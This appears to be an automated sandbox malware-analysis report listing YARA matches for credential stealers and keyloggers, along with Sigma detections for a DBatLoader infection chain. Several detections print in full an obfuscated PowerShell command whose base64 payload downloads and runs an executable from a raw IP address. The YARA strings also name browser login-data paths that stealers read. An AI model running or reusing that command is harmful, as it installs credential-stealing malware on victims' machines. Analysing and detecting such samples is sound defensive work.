16.2.dajivhqI.pif.29915570.9.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x1d59c:$a1: get_encryptedPassword 0x454d4:$a1: get_encryptedPassword 0x1d570:$a2: get_encryptedUsername 0x454a8:$a2: get_encryptedUsername 0x1d634:$a3: get_timePasswordChanged 0x4556c:$a3: get_timePasswordChanged 0x1d54c:$a4: get_passwordField 0x45484:$a4: get_passwordField 0x1d5b2:$a5: set_encryptedPassword 0x454ea:$a5: set_encryptedPassword 0x1d37f:$a7: get_logins 0x452b7:$a7: get_logins 0x1c909:$a8: GetOutlookPasswords 0x44841:$a8: GetOutlookPasswords 0x1be1d:$a9: StartKeylogger 0x43d55:$a9: StartKeylogger 0x1a877:$a10: KeyLoggerEventArgs 0x427af:$a10: KeyLoggerEventArgs 0x1a846:$a11: KeyLoggerEventArgsEventHandler 0x4277e:$a11: KeyLoggerEventArgsEventHandler 0x1d453:$a13: _encryptedPassword
16.2.dajivhqI.pif.29915570.9.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x21c97:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x49bcf:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x21195:$a3: \Google\Chrome\User Data\Default\Login Data 0x490cd:$a3: \Google\Chrome\User Data\Default\Login Data 0x214a3:$a4: \Orbitum\User Data\Default\Login Data 0x493db:$a4: \Orbitum\User Data\Default\Login Data 0x2229b:$a5: \Kometa\User Data\Default\Login Data 0x4a1d3:$a5: \Kometa\User Data\Default\Login Data
16.3.dajivhqI.pif.26abd218.0.raw.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
16.3.dajivhqI.pif.26abd218.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
16.2.dajivhqI.pif.28550a4e.3.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
16.2.dajivhqI.pif.28550a4e.3.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
16.2.dajivhqI.pif.28550a4e.3.unpack	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
16.2.dajivhqI.pif.28550a4e.3.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
16.3.dajivhqI.pif.26abd218.0.raw.unpack	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
16.3.dajivhqI.pif.26abd218.0.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
16.2.dajivhqI.pif.28550a4e.3.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
16.2.dajivhqI.pif.28550a4e.3.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x1b79c:$a1: get_encryptedPassword 0x1b770:$a2: get_encryptedUsername 0x1b834:$a3: get_timePasswordChanged 0x1b74c:$a4: get_passwordField 0x1b7b2:$a5: set_encryptedPassword 0x1b57f:$a7: get_logins 0x1ab09:$a8: GetOutlookPasswords 0x1a01d:$a9: StartKeylogger 0x18a77:$a10: KeyLoggerEventArgs 0x18a46:$a11: KeyLoggerEventArgsEventHandler 0x1b653:$a13: _encryptedPassword
16.2.dajivhqI.pif.28550a4e.3.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1fe97:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x1f395:$a3: \Google\Chrome\User Data\Default\Login Data 0x1f6a3:$a4: \Orbitum\User Data\Default\Login Data 0x2049b:$a5: \Kometa\User Data\Default\Login Data
16.2.dajivhqI.pif.287c0ee8.6.raw.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
16.2.dajivhqI.pif.287c0ee8.6.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
16.2.dajivhqI.pif.287c0ee8.6.raw.unpack	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
16.2.dajivhqI.pif.287c0ee8.6.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
16.2.dajivhqI.pif.287c0ee8.6.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
16.2.dajivhqI.pif.287c0ee8.6.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x1c6b4:$a1: get_encryptedPassword 0x1c688:$a2: get_encryptedUsername 0x1c74c:$a3: get_timePasswordChanged 0x1c664:$a4: get_passwordField 0x1c6ca:$a5: set_encryptedPassword 0x1c497:$a7: get_logins 0x1ba21:$a8: GetOutlookPasswords 0x1af35:$a9: StartKeylogger 0x1998f:$a10: KeyLoggerEventArgs 0x1995e:$a11: KeyLoggerEventArgsEventHandler 0x1c56b:$a13: _encryptedPassword
16.3.dajivhqI.pif.26abd218.0.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
16.2.dajivhqI.pif.287c0ee8.6.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x20daf:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x202ad:$a3: \Google\Chrome\User Data\Default\Login Data 0x205bb:$a4: \Orbitum\User Data\Default\Login Data 0x213b3:$a5: \Kometa\User Data\Default\Login Data
16.3.dajivhqI.pif.26abd218.0.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x1c6b4:$a1: get_encryptedPassword 0x1c688:$a2: get_encryptedUsername 0x1c74c:$a3: get_timePasswordChanged 0x1c664:$a4: get_passwordField 0x1c6ca:$a5: set_encryptedPassword 0x1c497:$a7: get_logins 0x1ba21:$a8: GetOutlookPasswords 0x1af35:$a9: StartKeylogger 0x1998f:$a10: KeyLoggerEventArgs 0x1995e:$a11: KeyLoggerEventArgsEventHandler 0x1c56b:$a13: _encryptedPassword
16.3.dajivhqI.pif.26abd218.0.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x20daf:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x202ad:$a3: \Google\Chrome\User Data\Default\Login Data 0x205bb:$a4: \Orbitum\User Data\Default\Login Data 0x213b3:$a5: \Kometa\User Data\Default\Login Data
11.2.csrss.exe.2e90000.4.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
16.2.dajivhqI.pif.287c0ee8.6.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
16.2.dajivhqI.pif.287c0ee8.6.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
16.2.dajivhqI.pif.287c0ee8.6.unpack	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
16.2.dajivhqI.pif.287c0ee8.6.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
16.2.dajivhqI.pif.287c0ee8.6.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
16.2.dajivhqI.pif.287c0ee8.6.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x1a8b4:$a1: get_encryptedPassword 0x1a888:$a2: get_encryptedUsername 0x1a94c:$a3: get_timePasswordChanged 0x1a864:$a4: get_passwordField 0x1a8ca:$a5: set_encryptedPassword 0x1a697:$a7: get_logins 0x19c21:$a8: GetOutlookPasswords 0x19135:$a9: StartKeylogger 0x17b8f:$a10: KeyLoggerEventArgs 0x17b5e:$a11: KeyLoggerEventArgsEventHandler 0x1a76b:$a13: _encryptedPassword
16.2.dajivhqI.pif.287c0ee8.6.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1efaf:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x1e4ad:$a3: \Google\Chrome\User Data\Default\Login Data 0x1e7bb:$a4: \Orbitum\User Data\Default\Login Data 0x1f5b3:$a5: \Kometa\User Data\Default\Login Data
16.2.dajivhqI.pif.438038.2.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x502e0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x332b0:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 18 88 44 24 2B 88 44 24 2F B0 6E 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x33930:$s3: 83 EC 38 53 B0 18 88 44 24 2B 88 44 24 2F B0 6E 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x51fba:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x51c00:$s5: delete[] 0x1de88:$s6: constructor or from DllMain. 0x510b8:$s6: constructor or from DllMain.
16.2.dajivhqI.pif.2993e390.7.raw.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
16.2.dajivhqI.pif.2993e390.7.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
16.2.dajivhqI.pif.2993e390.7.raw.unpack	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
16.2.dajivhqI.pif.2993e390.7.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
16.2.dajivhqI.pif.2993e390.7.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
16.2.dajivhqI.pif.2993e390.7.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x1c6b4:$a1: get_encryptedPassword 0x1c688:$a2: get_encryptedUsername 0x1c74c:$a3: get_timePasswordChanged 0x1c664:$a4: get_passwordField 0x1c6ca:$a5: set_encryptedPassword 0x1c497:$a7: get_logins 0x1ba21:$a8: GetOutlookPasswords 0x1af35:$a9: StartKeylogger 0x1998f:$a10: KeyLoggerEventArgs 0x1995e:$a11: KeyLoggerEventArgsEventHandler 0x1c56b:$a13: _encryptedPassword
16.2.dajivhqI.pif.2993e390.7.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x20daf:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x202ad:$a3: \Google\Chrome\User Data\Default\Login Data 0x205bb:$a4: \Orbitum\User Data\Default\Login Data 0x213b3:$a5: \Kometa\User Data\Default\Login Data
16.2.dajivhqI.pif.29916458.8.raw.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
16.2.dajivhqI.pif.29916458.8.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
16.2.dajivhqI.pif.29916458.8.raw.unpack	JoeSecurity_MSILLogger	Yara detected MSIL Logger	Joe Security
16.2.dajivhqI.pif.29916458.8.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
16.2.dajivhqI.pif.29916458.8.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
16.2.dajivhqI.pif.29916458.8.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x1c6b4:$a1: get_encryptedPassword 0x445ec:$a1: get_encryptedPassword 0x1c688:$a2: get_encryptedUsername 0x445c0:$a2: get_encryptedUsername 0x1c74c:$a3: get_timePasswordChanged 0x44684:$a3: get_timePasswordChanged 0x1c664:$a4: get_passwordField 0x4459c:$a4: get_passwordField 0x1c6ca:$a5: set_encryptedPassword 0x44602:$a5: set_encryptedPassword 0x1c497:$a7: get_logins 0x443cf:$a7: get_logins 0x1ba21:$a8: GetOutlookPasswords 0x43959:$a8: GetOutlookPasswords 0x1af35:$a9: StartKeylogger 0x42e6d:$a9: StartKeylogger 0x1998f:$a10: KeyLoggerEventArgs 0x418c7:$a10: KeyLoggerEventArgs 0x1995e:$a11: KeyLoggerEventArgsEventHandler 0x41896:$a11: KeyLoggerEventArgsEventHandler 0x1c56b:$a13: _encryptedPassword
16.2.dajivhqI.pif.29916458.8.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x20daf:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x48ce7:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x202ad:$a3: \Google\Chrome\User Data\Default\Login Data 0x481e5:$a3: \Google\Chrome\User Data\Default\Login Data 0x205bb:$a4: \Orbitum\User Data\Default\Login Data 0x484f3:$a4: \Orbitum\User Data\Default\Login Data 0x213b3:$a5: \Kometa\User Data\Default\Login Data 0x492eb:$a5: \Kometa\User Data\Default\Login Data
Click to see the 137 entries

Other

Source	Rule	Description	Author	Strings
amsi32_7120.amsi.csv	JoeSecurity_PowershellDecodeAndExecute	Yara detected Powershell decode and execute	Joe Security

Sigma Signatures

System Summary

Sigma detected: DLL Search Order Hijackig Via Additional Space in Path

Source: File created

Author: frack113, Nasreddine Bencherchali: Data: EventID: 11, Image: C:\Users\user\AppData\Roaming\csrss.exe, ProcessId: 1812, TargetFilename: C:\Windows \SysWOW64\NETUTILS.dll

Sigma detected: Files With System Process Name In Unsuspected Locations

Source: File created

Author: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7120, TargetFilename: C:\Users\user\AppData\Roaming\csrss.exe

Sigma detected: Suspicious MSHTA Child Process

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\system32\cmd.exe" "/C PoWErSHeLL -eX BYPass -nOp -w 1 -c DeviceCREdEntialdEpLoyMent ; iEx($(IEX('[SYSteM.TeXT.ENCoDinG]'+[CHar]58+[chaR]58+'UTf8.GETSTRING([SYsTeM.converT]'+[Char]0X3A+[CHAr]0x3a+'FRomBaSe64sTRiNG('+[CHaR]34+'JGpJVDE3aWdEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFERC10WXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbWJFckRlZmlOSXRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbU9uLkRsTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEMsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSVFOak56ZXJlbixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjUVQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFIZHlKeixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBxaWZSaGwpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJtaE95RFdxIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYW1lc3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBYTEJ3RkNQICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRqSVQxN2lnRDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4yMjcuMjI4LjIyLzU0L2NzcnNzLmV4ZSIsIiRlbnY6QVBQREFUQVxjc3Jzcy5leGUiLDAsMCk7c3RBcnQtc0xFRVAoMyk7aU52T2tFLWlURU0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVudjpBUFBEQVRBXGNzcnNzLmV4ZSI='+[cHaR]0X22+'))')))", CommandLine: "C:\Windows\system32\cmd.exe" "/C PoWErSHeLL -eX BYPass -nOp -w 1 -c DeviceCREdEntialdEpLoyMent ; iEx($(IEX('[SYSteM.TeXT.ENCoDinG]'+[CHar]58+[chaR]58+'UTf8.GETSTRING([SYsTeM.converT]'+[Char]0X3A+[CHAr]0x3a+'FRomBaSe64sTRiNG('+[CHaR]34+'JGpJVDE3aWdEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFERC10WXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbWJFckRlZmlOSXRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbU9uLkRsTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEMsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSVFOak56ZXJlbixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjUVQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFIZHlKeixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBxaWZSaGwpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJtaE95RFdxIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYW1lc3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBYTEJ3RkNQICAgICAgICA

Sigma detected: Suspicious Process Parents

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c ""C:\\Users\\All Users\\13.cmd"", CommandLine: C:\Windows\system32\cmd.exe /c ""C:\\Users\\All Users\\13.cmd"", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\csrss.exe" , ParentImage: C:\Users\user\AppData\Roaming\csrss.exe, ParentProcessId: 1812, ParentProcessName: csrss.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c ""C:\\Users\\All Users\\13.cmd"", ProcessId: 7772, ProcessName: cmd.exe

Sigma detected: System File Execution Location Anomaly

Source: Process started

Author: Florian Roth (Nextron Systems), Patrick Bareiss, Anton Kutepov, oscd.community, Nasreddine Bencherchali: Data: Command: "C:\Users\user\AppData\Roaming\csrss.exe" , CommandLine: "C:\Users\user\AppData\Roaming\csrss.exe" , CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\csrss.exe, NewProcessName: C:\Users\user\AppData\Roaming\csrss.exe, OriginalFileName: C:\Users\user\AppData\Roaming\csrss.exe, ParentCommandLine: PoWErSHeLL -eX BYPass -nOp -w 1 -c DeviceCREdEntialdEpLoyMent ; iEx($(IEX('[SYSteM.TeXT.ENCoDinG]'+[CHar]58+[chaR]58+'UTf8.GETSTRING([SYsTeM.converT]'+[Char]0X3A+[CHAr]0x3a+'FRomBaSe64sTRiNG('+[CHaR]34+'JGpJVDE3aWdEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFERC10WXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbWJFckRlZmlOSXRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbU9uLkRsTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEMsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSVFOak56ZXJlbixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjUVQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFIZHlKeixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBxaWZSaGwpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJtaE95RFdxIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYW1lc3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBYTEJ3RkNQICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRqSVQxN2lnRDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4yMjcuMjI4LjIyLzU0L2NzcnNzLmV4ZSIsIiRlbnY6QVBQREFUQVxjc3Jzcy5leGUiLDAsMCk7c3RBcnQtc0xFRVAoMyk7aU52T2tFLWlURU0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVudjpBUFBEQVRBXGNzcnNzLmV4ZSI='+[cHaR]0X22+'))')))", ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7120, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Users\user\AppData\Roaming\csrss.exe" , ProcessId: 1812, ProcessName: csrss.exe

Sigma detected: Windows Binaries Write Suspicious Extensions

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\AppData\Roaming\csrss.exe, ProcessId: 1812, TargetFilename: C:\Windows \SysWOW64\NETUTILS.dll

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\xzofjfee\xzofjfee.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\xzofjfee\xzofjfee.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, ParentCommandLine: PoWErSHeLL -eX BYPass -nOp -w 1 -c DeviceCREdEntialdEpLoyMent ; iEx($(IEX('[SYSteM.TeXT.ENCoDinG]'+[CHar]58+[chaR]58+'UTf8.GETSTRING([SYsTeM.converT]'+[Char]0X3A+[CHAr]0x3a+'FRomBaSe64sTRiNG('+[CHaR]34+'JGpJVDE3aWdEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFERC10WXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbWJFckRlZmlOSXRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbU9uLkRsTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEMsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSVFOak56ZXJlbixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjUVQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFIZHlKeixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBxaWZSaGwpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJtaE95RFdxIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYW1lc3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBYTEJ3RkNQICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRqSVQxN2lnRDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4yMjcuMjI4LjIyLzU0L2NzcnNzLmV4ZSIsIiRlbnY6QVBQREFUQVxjc3Jzcy5leGUiLDAsMCk7c3RBcnQtc0xFRVAoMyk7aU52T2tFLWlURU0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVudjpBUFBEQVRBXGNzcnNzLmV4ZSI='+[cHaR]0X22+'))')))", ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7120, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\xzofjfee\xzofjfee.cmdline", ProcessId: 6340, ProcessName: csc.exe

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: C:\\Users\\user\\Links\dajivhqI.pif, CommandLine: C:\\Users\\user\\Links\dajivhqI.pif, CommandLine|base64offset|contains: , Image: C:\Users\user\Links\dajivhqI.pif, NewProcessName: C:\Users\user\Links\dajivhqI.pif, OriginalFileName: C:\Users\user\Links\dajivhqI.pif, ParentCommandLine: "C:\Users\user\AppData\Roaming\csrss.exe" , ParentImage: C:\Users\user\AppData\Roaming\csrss.exe, ParentProcessId: 1812, ParentProcessName: csrss.exe, ProcessCommandLine: C:\\Users\\user\\Links\dajivhqI.pif, ProcessId: 7196, ProcessName: dajivhqI.pif

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7120, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\csrss[1].exe

Sigma detected: Unusual Parent Process For Cmd.EXE

Source: Process started

Author: Tim Rauch: Data: Command: C:\Windows\system32\cmd.exe /c ""C:\\Users\\All Users\\13.cmd"", CommandLine: C:\Windows\system32\cmd.exe /c ""C:\\Users\\All Users\\13.cmd"", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\csrss.exe" , ParentImage: C:\Users\user\AppData\Roaming\csrss.exe, ParentProcessId: 1812, ParentProcessName: csrss.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c ""C:\\Users\\All Users\\13.cmd"", ProcessId: 7772, ProcessName: cmd.exe

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7120, TargetFilename: C:\Users\user\AppData\Local\Temp\xzofjfee\xzofjfee.cmdline

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

